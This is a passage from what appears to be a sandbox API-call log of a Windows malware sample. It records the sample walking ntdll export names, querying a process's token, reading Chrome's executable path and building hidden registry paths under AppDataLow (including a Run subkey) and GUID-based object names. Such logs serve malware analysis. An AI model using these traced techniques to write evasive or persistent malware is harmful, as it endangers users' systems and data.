(lpString="DbgUiConnectToDbg") returned 17 [0073.220] lstrlenA (lpString="DbgUiContinue") returned 13 [0073.221] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0073.221] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0073.221] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0073.221] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0073.221] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0073.221] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0073.221] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0073.221] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0073.221] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0073.221] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0073.221] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0073.221] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0073.221] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0073.221] lstrlenA (lpString="EtwEventEnabled") returned 15 [0073.221] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0073.221] lstrlenA (lpString="EtwEventRegister") returned 16 [0073.221] lstrlenA (lpString="EtwEventUnregister") returned 18 [0073.221] lstrlenA (lpString="EtwEventWrite") returned 13 [0073.221] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0073.221] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0073.221] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0073.221] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0073.221] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0073.221] lstrlenA (lpString="EtwEventWriteString") returned 19 [0073.221] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0073.221] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0073.221] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0073.221] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0073.221] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0073.221] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0073.221] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0073.221] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0073.221] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0073.221] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0073.221] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0073.221] lstrlenA (lpString="EtwReplyNotification") returned 20 [0073.221] lstrlenA (lpString="EtwSendNotification") returned 19 [0073.221] lstrlenA (lpString="EtwSetMark") returned 10 [0073.221] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0073.221] lstrlenA (lpString="EtwTraceMessage") returned 15 [0073.221] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0073.222] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0073.222] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0073.222] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0073.222] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0073.222] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0073.222] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0073.222] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0073.222] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0073.222] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0073.222] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0073.222] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0073.222] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0073.222] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0073.222] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0073.222] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0073.222] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0073.222] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0073.222] lstrlenA (lpString="LdrAccessResource") returned 17 [0073.222] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0073.222] lstrlenA (lpString="LdrAddRefDll") returned 12 [0073.222] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0073.222] lstrlenA (lpString="LdrEnumResources") returned 16 [0073.222] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0073.222] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0073.222] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0073.222] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0073.222] lstrlenA (lpString="LdrFindResource_U") returned 17 [0073.222] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0073.222] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0073.222] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0073.222] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0073.222] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0073.222] lstrlenA (lpString="LdrGetFailureData") returned 17 [0073.222] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0073.222] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0073.222] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0073.222] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0073.222] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0073.222] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0073.222] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0073.222] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0073.222] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0073.223] lstrlenA (lpString="LdrLoadDll") returned 10 [0073.223] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0073.223] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0073.223] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0073.223] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0073.223] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0073.223] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0073.223] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0073.223] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0073.223] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0073.223] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0073.223] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0073.223] lstrlenA (lpString="LdrResFindResource") returned 18 [0073.223] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0073.223] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0073.223] lstrlenA (lpString="LdrResRelease") returned 13 [0073.223] lstrlenA (lpString="LdrResSearchResource") returned 20 [0073.223] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0073.223] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0073.223] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0073.223] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0073.223] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0073.223] lstrlenA (lpString="LdrShutdownThread") returned 17 [0073.223] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0073.223] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0073.223] lstrlenA (lpString="LdrUnloadDll") returned 12 [0073.223] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0073.223] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0073.223] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0073.223] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0073.223] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0073.223] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0073.223] lstrlenA (lpString="MD4Final") returned 8 [0073.223] lstrlenA (lpString="MD4Init") returned 7 [0073.223] lstrlenA (lpString="MD4Update") returned 9 [0073.223] lstrlenA (lpString="MD5Final") returned 8 [0073.223] lstrlenA (lpString="MD5Init") returned 7 [0073.223] lstrlenA (lpString="MD5Update") returned 9 [0073.223] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0073.223] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0073.223] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0073.223] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0073.223] lstrlenA (lpString="NtAccessCheck") returned 13 [0073.224] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0073.224] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0073.224] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0073.224] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0073.224] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0073.224] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0073.224] lstrlenA (lpString="NtAddAtom") returned 9 [0073.224] lstrlenA (lpString="NtAddBootEntry") returned 14 [0073.224] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0073.224] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0073.224] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0073.224] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0073.224] lstrlenA (lpString="NtAlertThread") returned 13 [0073.224] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0073.224] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0073.224] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0073.224] lstrlenA (lpString="NtAllocateUuids") returned 15 [0073.224] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0073.224] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0073.224] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0073.224] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0073.224] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0073.224] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0073.224] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0073.224] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0073.224] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0073.224] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0073.224] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0073.224] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0073.224] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0073.224] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0073.224] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0073.224] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0073.224] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0073.224] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0073.224] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0073.224] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0073.224] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0073.224] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0073.224] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0073.224] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0073.224] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0073.224] lstrlenA (lpString="NtCallbackReturn") returned 16 [0073.225] lstrlenA (lpString="NtCancelIoFile") returned 14 [0073.225] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0073.225] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0073.225] lstrlenA (lpString="NtCancelTimer") returned 13 [0073.225] lstrlenA (lpString="NtClearEvent") returned 12 [0073.225] lstrlenA (lpString="NtClose") returned 7 [0073.225] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0073.225] lstrlenA (lpString="NtCommitComplete") returned 16 [0073.225] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0073.225] lstrlenA (lpString="NtCommitTransaction") returned 19 [0073.225] lstrlenA (lpString="NtCompactKeys") returned 13 [0073.225] lstrlenA (lpString="NtCompareTokens") returned 15 [0073.225] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0073.225] lstrlenA (lpString="NtCompressKey") returned 13 [0073.225] lstrlenA (lpString="NtConnectPort") returned 13 [0073.225] lstrlenA (lpString="NtContinue") returned 10 [0073.225] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0073.225] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0073.225] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0073.225] lstrlenA (lpString="NtCreateEvent") returned 13 [0073.225] lstrlenA (lpString="NtCreateEventPair") returned 17 [0073.225] lstrlenA (lpString="NtCreateFile") returned 12 [0073.225] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0073.225] lstrlenA (lpString="NtCreateJobObject") returned 17 [0073.225] lstrlenA (lpString="NtCreateJobSet") returned 14 [0073.225] lstrlenA (lpString="NtCreateKey") returned 11 [0073.225] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0073.225] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0073.225] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0073.225] lstrlenA (lpString="NtCreateMutant") returned 14 [0073.225] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0073.225] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0073.225] lstrlenA (lpString="NtCreatePort") returned 12 [0073.225] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0073.225] lstrlenA (lpString="NtCreateProcess") returned 15 [0073.225] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0073.225] lstrlenA (lpString="NtCreateProfile") returned 15 [0073.225] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0073.225] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0073.225] lstrlenA (lpString="NtCreateSection") returned 15 [0073.231] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefd710000 [0073.231] GetProcAddress (hModule=0x7fefd710000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7fefd71d710 [0073.231] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0073.257] NtOpenProcess (in: ProcessHandle=0x23ee88, DesiredAccess=0x400, ObjectAttributes=0x23ee20*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x23ee10*(UniqueProcess=0xb90, UniqueThread=0x0) | out: ProcessHandle=0x23ee88*=0xcc) returned 0x0 [0073.257] NtOpenProcessToken (in: ProcessHandle=0xcc, DesiredAccess=0x8, TokenHandle=0x23ee80 | out: TokenHandle=0x23ee80*=0xd4) returned 0x0 [0073.257] NtQueryInformationToken (in: TokenHandle=0xd4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x23ee70 | out: TokenInformation=0x0, ReturnLength=0x23ee70) returned 0xc0000023 [0073.259] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2c) returned 0x242d500 [0073.259] NtQueryInformationToken (in: TokenHandle=0xd4, TokenInformationClass=0x1, TokenInformation=0x242d500, TokenInformationLength=0x2c, ReturnLength=0x23ee70 | out: TokenInformation=0x242d500, ReturnLength=0x23ee70) returned 0x0 [0073.259] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.259] NtClose (Handle=0xd4) returned 0x0 [0073.259] NtClose (Handle=0xcc) returned 0x0 [0073.259] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7fefd5c0000 [0073.259] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrRChrA") returned 0x7fefd5c4c9c [0073.259] StrRChrA (lpStart="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpEnd=0x0, wMatch=0x5c) returned="\\chrome.exe" [0073.259] _strupr (in: _String=0x242d321 | out: _String="CHROME.EXE") returned="CHROME.EXE" [0073.259] lstrlenA (lpString="CHROME.EXE") returned 10 [0073.260] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.260] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76f40000 [0073.260] GetProcAddress (hModule=0x76f40000, lpProcName="wsprintfA") returned 0x76fbbae8 [0073.260] wsprintfA (in: param_1=0x242d500, param_2="%08X-%04X-%04X-%04X-%08X%04X" | out: param_1="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 36 [0073.260] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\") returned 39 [0073.260] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x4e) returned 0x242d530 [0073.260] lstrcpyA (in: lpString1=0x242d530, lpString2="Software\\AppDataLow\\Software\\Microsoft\\" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\") returned="Software\\AppDataLow\\Software\\Microsoft\\" [0073.260] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\", lpString2="3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0073.260] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.260] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0073.260] lstrlenA (lpString="\\Vr") returned 3 [0073.260] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x4f) returned 0x242d590 [0073.260] lstrcpyA (in: lpString1=0x242d590, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0073.260] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Vr" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Vr" [0073.260] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0073.260] lstrlenA (lpString="\\Sfi") returned 4 [0073.260] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x50) returned 0x242d5f0 [0073.260] lstrcpyA (in: lpString1=0x242d5f0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0073.260] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Sfi" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi" [0073.260] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0073.260] lstrlenA (lpString="\\Run") returned 4 [0073.260] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x50) returned 0x242d650 [0073.260] lstrcpyA (in: lpString1=0x242d650, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0073.260] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Run" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Run" [0073.260] lstrlenA (lpString="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned 75 [0073.260] lstrlenA (lpString="\\Config") returned 7 [0073.260] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x53) returned 0x242d6b0 [0073.260] lstrcpyA (in: lpString1=0x242d6b0, lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0073.260] lstrcatA (in: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", lpString2="\\Config" | out: lpString1="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config") returned="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config" [0073.260] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.261] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{7F853548-D254-09EE-D423-264D4807BAD1}") returned 38 [0073.261] lstrlenA (lpString="Local\\") returned 6 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d710 [0073.261] lstrcpyA (in: lpString1=0x242d710, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.261] lstrcatA (in: lpString1="Local\\", lpString2="{7F853548-D254-09EE-D423-264D4807BAD1}" | out: lpString1="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}" [0073.261] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.261] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 38 [0073.261] lstrlenA (lpString="Local\\") returned 6 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d750 [0073.261] lstrcpyA (in: lpString1=0x242d750, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.261] lstrcatA (in: lpString1="Local\\", lpString2="{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" | out: lpString1="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}" [0073.261] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.261] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 38 [0073.261] lstrlenA (lpString="Local\\") returned 6 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d790 [0073.261] lstrcpyA (in: lpString1=0x242d790, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.261] lstrcatA (in: lpString1="Local\\", lpString2="{DD80286F-988C-17A7-8A61-4C3B5E25409F}" | out: lpString1="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}" [0073.261] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.261] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 38 [0073.261] lstrlenA (lpString="Local\\") returned 6 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d7d0 [0073.261] lstrcpyA (in: lpString1=0x242d7d0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.261] lstrcatA (in: lpString1="Local\\", lpString2="{722AD44B-2987-7426-43C6-6DE8275AF19C}" | out: lpString1="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}" [0073.261] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.261] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 38 [0073.261] lstrlenA (lpString="Local\\") returned 6 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d810 [0073.261] lstrcpyA (in: lpString1=0x242d810, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.261] lstrcatA (in: lpString1="Local\\", lpString2="{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" | out: lpString1="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}" [0073.261] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.261] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 38 [0073.261] lstrlenA (lpString="Local\\") returned 6 [0073.261] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d850 [0073.261] lstrcpyA (in: lpString1=0x242d850, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.261] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0073.262] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x27) returned 0x242d500 [0073.262] wsprintfA (in: param_1=0x242d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0073.262] lstrlenA (lpString="Local\\") returned 6 [0073.262] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x2d) returned 0x242d890 [0073.262] lstrcpyA (in: lpString1=0x242d890, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0073.262] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0073.262] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242d500 | out: hHeap=0x2030000) returned 1 [0073.262] RtlAllocateHeap 